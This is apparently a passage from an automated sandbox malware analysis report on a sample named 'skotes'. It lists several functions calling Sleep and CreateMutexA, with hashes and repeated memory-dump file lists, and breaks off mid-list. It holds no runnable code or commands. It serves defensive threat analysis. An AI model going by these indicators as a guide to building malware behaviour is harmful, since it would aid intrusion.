Opcode ID: dc975865a4101c1dc598202db1bead18e2d1db7ee04e03b1d85a2d5337d56650
Instruction ID: 4627fb0acc371018ef21bfbdbbc507cdba74cdde5599c4b7a6ef6bed4d743c3c
Opcode Fuzzy Hash: dc975865a4101c1dc598202db1bead18e2d1db7ee04e03b1d85a2d5337d56650
Instruction Fuzzy Hash: 193127316002059BEB08AB68DC89BEDBFA2FBC5310F248619E114E73D5DB76A9818712

Function 005BA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 873a7ecd72031912adf1f45bae9fa66cf11534020f0f8b80f9ea55116b8570fd
Instruction ID: 928919d68d1f8a48d8ab259d00e39451629f31ef054b1cf1944b73afd9319380
Opcode Fuzzy Hash: 873a7ecd72031912adf1f45bae9fa66cf11534020f0f8b80f9ea55116b8570fd
Instruction Fuzzy Hash: F831F5316001459BEB18EBACCC89BEDBFA2BBC1314F248619E014973D5DB766981C622

Function 005BA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 786c1ef52708374df3f4bc18e8c4137d24e34bf1d002a9a54932e1543c847787
Instruction ID: 9f0b34c3f6d2a8b7b7e08d4ae2ba66052a307bffa8564e6f670aaf78dc09fefd
Opcode Fuzzy Hash: 786c1ef52708374df3f4bc18e8c4137d24e34bf1d002a9a54932e1543c847787
Instruction Fuzzy Hash: 153105316001419FEB089BBCDC89BEDBFA2BBC6310F248619E014A73D5DB76A9818712

Function 005BA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 210b233904362407b172b07426d5e143b66e0208f9eb36e6a8d4039a43e43ce7
Instruction ID: f4029ba2166e9b09deb2cbcc9ca9dbff2345379aa48a770f3d9e1cd0bf9eb1fb
Opcode Fuzzy Hash: 210b233904362407b172b07426d5e143b66e0208f9eb36e6a8d4039a43e43ce7
Instruction Fuzzy Hash: F33109716001419BEB18ABB8DCCDBEDBE62FFD1314F244218E054D73D6DB7569818752

Function 005BA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 0138b568f488f471df59af0d896758ec75709a6965f026e74e6b33e7d82c9e5e
Instruction ID: 1db81a53fcbda28551d72904316b0f21c0f6e5535236f41fcc8182152f6190b8
Opcode Fuzzy Hash: 0138b568f488f471df59af0d896758ec75709a6965f026e74e6b33e7d82c9e5e
Instruction Fuzzy Hash: 63312771A001418BEB18DBB8CC89BEDBF62BBC5314F248618E054E73D6CB75AA818712

Function 005BA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
